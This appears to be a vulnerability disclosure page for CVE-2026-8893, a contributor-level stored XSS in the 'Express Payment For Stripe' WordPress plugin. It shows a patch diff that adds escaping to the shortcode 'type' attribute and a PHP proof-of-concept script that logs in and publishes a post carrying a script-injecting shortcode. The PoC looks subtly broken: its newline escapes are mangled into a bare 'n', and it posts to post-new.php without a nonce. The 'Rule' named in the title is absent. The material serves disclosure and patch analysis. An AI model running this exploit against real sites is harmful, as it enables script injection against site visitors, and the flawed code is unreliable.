CVE-2026-8893: Express Payment For Stripe <= 1.28.0 Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode Attributes PoC, Patch Analysis & Rule

--- a/wp-stripe-express/includes/addons/wp-stripe-cf7.php
+++ b/wp-stripe-express/includes/addons/wp-stripe-cf7.php
@@ -9,13 +9,17 @@
   public function __construct()
   {
     add_action('wpcf7_init', array($this, 'wpcf7_add_form_tag_stripe_express'), 10, 0);
-    /* Tag generator */
-    add_action('wpcf7_admin_init', array($this, 'wpcf7_add_tag_generator_stripe_express'), 56, 0);
+    /* Tag generator (CF7 v2) */
+    add_action('wpcf7_admin_init', array($this, 'wpcf7_add_tag_generator_stripe_express'), 61, 0);
   }

   function wpcf7_add_form_tag_stripe_express()
   {
-    wpcf7_add_form_tag('stripe_express_element', array($this, 'wpcf7_stripe_express_form_tag_handler'));
+    wpcf7_add_form_tag(
+      'stripe_express_element',
+      array($this, 'wpcf7_stripe_express_form_tag_handler'),
+      array('name-attr' => true)
+    );
   }

   function wpcf7_stripe_express_form_tag_handler($tag)
@@ -53,14 +57,14 @@
     $tag_generator = WPCF7_TagGenerator::get_instance();
     $tag_generator->add(
       'stripe_express_element',
-      // __('checkboxes', 'contact-form-7'),
-      'stripe express element',
-      array($this, 'wpcf7_tag_generator_stripe_express')
+      __('Stripe Express Element', 'contact-form-7'),
+      array($this, 'wpcf7_tag_generator_stripe_express'),
+      array('version' => '2')
     );
   }


-  function wpcf7_tag_generator_stripe_express($contact_form, $args = '')
+  function wpcf7_tag_generator_stripe_express($contact_form, $options = '')
   {
     global $wpdb;
     $results = $wpdb->get_results(
@@ -71,79 +75,60 @@
         ORDER BY id DESC
       ", ARRAY_A
     );
-    $args = wp_parse_args($args, array());
-    $type = 'stripe_express_element';
-
-    $description = "Generate a form-tag for stripe express element section. For more details, see %s.";
+    $options = wp_parse_args( $options, array() );
+    $type    = 'stripe_express_element';

-    $desc_link = wpcf7_link('https://docs.itstripe.com/contact-form-7/', 'stripe-express for CF7');
+    $description = __( 'Generate a form-tag for stripe express element section. For more details, see %s.', 'contact-form-7' );
+    $desc_link   = wpcf7_link( 'https://docs.itstripe.com/contact-form-7/', 'stripe-express for CF7' );

-?>
+    $tgg = new WPCF7_TagGeneratorGenerator( $options['content'] );
+    ?>
+    <header class="description-box">
+      <h3><?php echo esc_html( 'Stripe Express element' ); ?></h3>
+      <p><?php echo wp_kses( sprintf( $description, $desc_link ), array( 'a' => array( 'href' => true ) ) ); ?></p>
+    </header>
+
     <div class="control-box">
+      <?php
+    echo '<input type="hidden" data-tag-part="basetype" value="' . esc_attr( $type ) . '">';
+
+    $tgg->print('field_name');
+    ?>
+
       <fieldset>
-        <legend><?php echo sprintf(esc_html($description), $desc_link); ?></legend>
+        <legend><label><?php echo esc_html( 'Element' ); ?></label></legend>
+        <select data-tag-part="option" data-tag-option="elementId:" name="elementId" class="oneline option">
+          <option value=""><?php echo esc_html( 'Select one' ); ?></option>
+          <?php foreach ( $results as $item ) :
+            $cfg = json_decode( $item['paymentConfig'] );
+            $elementName = isset( $cfg->item->name ) ? $cfg->item->name : sprintf( __( 'Element %d', 'contact-form-7' ), $item['id'] );
+          ?>
+            <option value="<?php echo esc_attr( $item['id'] ); ?>"><?php echo esc_html( $elementName ); ?></option>
+          <?php endforeach; ?>
+        </select>
+        <?php if ( count( $results ) === 0 ) : ?>
+          <div class="notice inline"><p><?php echo esc_html__( 'No element found, please create them first in Stripe Express plugin.', 'contact-form-7' ); ?></p></div>
+        <?php endif; ?>
+      </fieldset>

-        <table class="form-table">
-          <tbody>
-	          <tr>
-              <th scope="row"><label for="<?php echo esc_attr( $args['content'] . '-element-id' ); ?>">Element ID</label></th>
-	            <td>
-                <input type="text" name="elementId" class="oneline option" style="display:none" id="<?php echo esc_attr( $args['content'] . '-element-id' ); ?>" />
-                <script type="text/javascript">
-                  function handleElementSelected(target) {
-                    var elementIdInput = document.getElementById('<?php echo esc_attr( $args['content'] . '-element-id' ); ?>');
-                    elementIdInput.value = target.value;
-                    elementIdInput.dispatchEvent(new Event('change'));
-                  }
-                </script>
-                <select class="oneline option" onblur="handleElementSelected(this)" onchange="handleElementSelected(this)">
-                  <option value="0">Select one</option>
-                  <?php
-                    foreach ($results as $item) {
-                      $elementName = json_decode($item['paymentConfig'])->item->name;
-                      ?>
-                      <option value="<?php echo esc_attr( $item['id'] ); ?>"><?php echo esc_html( $elementName ); ?></option>';
-                      <?php
-                    }
-                  ?>
-                </select>
-                <?php if(count($results) == 0) {?>
-                  <span style="color:red">No element found, please create them first in `Stripe Express` plugin.</span>
-                <?php } ?>
-              </td>
-	          </tr>
-            <tr>
-              <th scope="row"><label for="<?php echo esc_attr( $args['content'] . '-element-amount-field' ); ?>">Amount Field</label></th>
-	            <td><input type="text" name="amountField" class="oneline option" id="<?php echo esc_attr( $args['content'] . '-element-amount-field' ); ?>" />(The value will be collected from user.)</td>
-	          </tr>
-            <tr>
-              <th scope="row"><label for="<?php echo esc_attr( $args['content'] . '-element-quantity-field' ); ?>">Quantity Field</label></th>
-	            <td><input type="text" name="quantityField" class="oneline option" id="<?php echo esc_attr( $args['content'] . '-element-quantity-field' ); ?>" />(The value will be collected from user.)</td>
-	          </tr>
-            <!--
-            <tr>
-              <th scope="row"><label for="<?php echo esc_attr($args['content'] . '-id'); ?>"><?php echo esc_html(__('Id attribute', 'contact-form-7')); ?></label></th>
-              <td><input type="text" name="id" required class="idvalue oneline option" id="<?php echo esc_attr($args['content'] . '-id'); ?>" /></td>
-            </tr>
-
-            <tr>
-              <th scope="row"><label for="<?php echo esc_attr($args['content'] . '-class'); ?>"><?php echo esc_html(__('Class attribute', 'contact-form-7')); ?></label></th>
-              <td><input type="text" name="class" class="classvalue oneline option" id="<?php echo esc_attr($args['content'] . '-class'); ?>" /></td>
-            </tr>
-            -->
-          </tbody>
-        </table>
+      <fieldset>
+        <legend><label><?php echo esc_html( 'Amount Field' ); ?></label></legend>
+        <input type="text" data-tag-part="option" data-tag-option="amountField:" name="amountField" class="oneline option" />
+        <small><?php echo esc_html__( '(The value will be collected from user.)', 'contact-form-7' ); ?></small>
       </fieldset>
-    </div>

-    <div class="insert-box">
-      <input type="text" name="<?php echo $type; ?>" class="tag code" readonly="readonly" onfocus="this.select()" />
+      <fieldset>
+        <legend><label><?php echo esc_html( 'Quantity Field' ); ?></label></legend>
+        <input type="text" data-tag-part="option" data-tag-option="quantityField:" name="quantityField" class="oneline option" />
+        <small><?php echo esc_html__( '(The value will be collected from user.)', 'contact-form-7' ); ?></small>
+      </fieldset>

-      <div class="submitbox">
-        <input type="button" class="button button-primary insert-tag" value="<?php echo esc_attr(__('Insert Tag', 'contact-form-7')); ?>" />
-      </div>
-      <br class="clear" />
+      <?php $tgg->print( 'class_attr' ); ?>
     </div>
+
+    <footer class="insert-box">
+      <?php $tgg->print( 'insert_box_content' ); ?>
+    </footer>
 <?php
   }
 }
--- a/wp-stripe-express/includes/wp-stripe-shortcodes.php
+++ b/wp-stripe-express/includes/wp-stripe-shortcodes.php
@@ -28,7 +28,7 @@
             'uiConfig'      => $uiConfig,
         );
         // End getting
-        $type = ( isset( $atts['type'] ) ? $atts['type'] : $config['type'] );
+        $type = sanitize_text_field( ( isset( $atts['type'] ) ? $atts['type'] : $config['type'] ) );
         $object_id = 'wp_stripe_express_object_' . uniqid();
         wp_enqueue_style( 'wp-stripe-express-elements' );
         wp_enqueue_script(
@@ -43,7 +43,7 @@
         if ( !empty( $theme ) ) {
             wp_enqueue_style( 'wp-stripe-express-elements-theme' );
         }
-        return '<div class="wp-stripe-express-shortcode" data-id="' . $object_id . '" data-type="' . $type . '"></div>';
+        return '<div class="wp-stripe-express-shortcode" data-id="' . esc_attr( $object_id ) . '" data-type="' . esc_attr( $type ) . '"></div>';
     }

     function register_receipt_shortcode( $atts ) {
--- a/wp-stripe-express/stripe-express.php
+++ b/wp-stripe-express/stripe-express.php
@@ -4,7 +4,7 @@
  * Plugin Name:       Express Payment For Stripe
  * Plugin URI:        https://wordpress.org/plugins/wp-stripe-express/
  * Description:       Shipping With a bunch of built-in stripe payment widgets including alipay & wechat pay and also woocommerce addon, simply choose them to integrate into your page easily.
- * Version:           1.28.0
+ * Version:           1.28.2
  * Author:    	      Payment Addons, support@payaddons.com
  * Author URI:		  https://payaddons.com
  * License:           GPL v2 or later
@@ -19,7 +19,7 @@
     define( 'IT_STRIPE_EXPRESS_DIR', plugin_dir_path( __FILE__ ) );
     define( 'IT_STRIPE_EXPRESS_URL', plugin_dir_url( __FILE__ ) );
     define( 'IT_STRIPE_EXPRESS_INC', plugin_dir_path( __FILE__ ) . 'includes' );
-    define( 'IT_STRIPE_EXPRESS_VERSION', '1.28.0' );
+    define( 'IT_STRIPE_EXPRESS_VERSION', '1.28.2' );
     define( 'IT_STRIPE_EXPRESS_FILE', __FILE__ );
     define( 'IT_STRIPE_EXPRESS_NAME', 'stripe-express' );
     define( 'IT_STRIPE_EXPRESS_PLUGIN_URL', 'https://payaddons.com/' );

<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-8893 - Express Payment For Stripe <= 1.28.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode Attributes

// Configuration
$target_url = 'http://example.com'; // Change to your target WordPress site
$username = 'contributor';
$password = 'password';

// Login cookie jar
$cookie_jar = tempnam(sys_get_temp_dir(), 'cookiejar');

// Step 1: Login
$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => $target_url . '/wp-login.php',
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => ['log' => $username, 'pwd' => $password, 'wp-submit' => 'Log In'],
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_COOKIEJAR => $cookie_jar,
    CURLOPT_FOLLOWLOCATION => true,
    CURLOPT_SSL_VERIFYPEER => false,
]);
$response = curl_exec($ch);
curl_close($ch);

// Check if login was successful
if (strpos($response, 'Dashboard') === false && strpos($response, 'wp-admin') === false) {
    echo "[!] Login failed. Check credentials.n";
    exit(1);
}
echo "[+] Login successful.n";

// Step 2: Create a post with the malicious shortcode
$malicious_shortcode = '[stripe-express type="credit-card"><script>alert(1)</script>"]';
$post_data = [
    'post_title' => 'Test XSS - CVE-2026-8893',
    'post_content' => $malicious_shortcode,
    'post_status' => 'publish',
    'post_type' => 'post',
    'content' => $malicious_shortcode,
];

$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => $target_url . '/wp-admin/post-new.php',
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query($post_data),
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_COOKIEFILE => $cookie_jar,
    CURLOPT_FOLLOWLOCATION => true,
    CURLOPT_SSL_VERIFYPEER => false,
    CURLOPT_HTTPHEADER => ['Content-Type: application/x-www-form-urlencoded'],
]);
$response = curl_exec($ch);
curl_close($ch);

// Check if post was created
if (preg_match('/post=([0-9]+)/', $response, $matches)) {
    $post_id = $matches[1];
    echo "[+] Post created with ID: $post_idn";
    echo "[+] Exploit URL: $target_url/?p=$post_idn";
} else {
    echo "[!] Could not determine if post was created. Check manually.n";
}

// Step 3: Verify the XSS payload renders
$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => $target_url . '/wp-admin/edit.php',
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_COOKIEFILE => $cookie_jar,
    CURLOPT_SSL_VERIFYPEER => false,
]);
$response = curl_exec($ch);
curl_close($ch);

if (strpos($response, htmlspecialchars($malicious_shortcode)) !== false) {
    echo "[+] Vulnerability confirmed: Malicious shortcode found in posts list.n";
} else {
    echo "[!] Shortcode may have been sanitized. Check manually.n";
}

// Clean up
unlink($cookie_jar);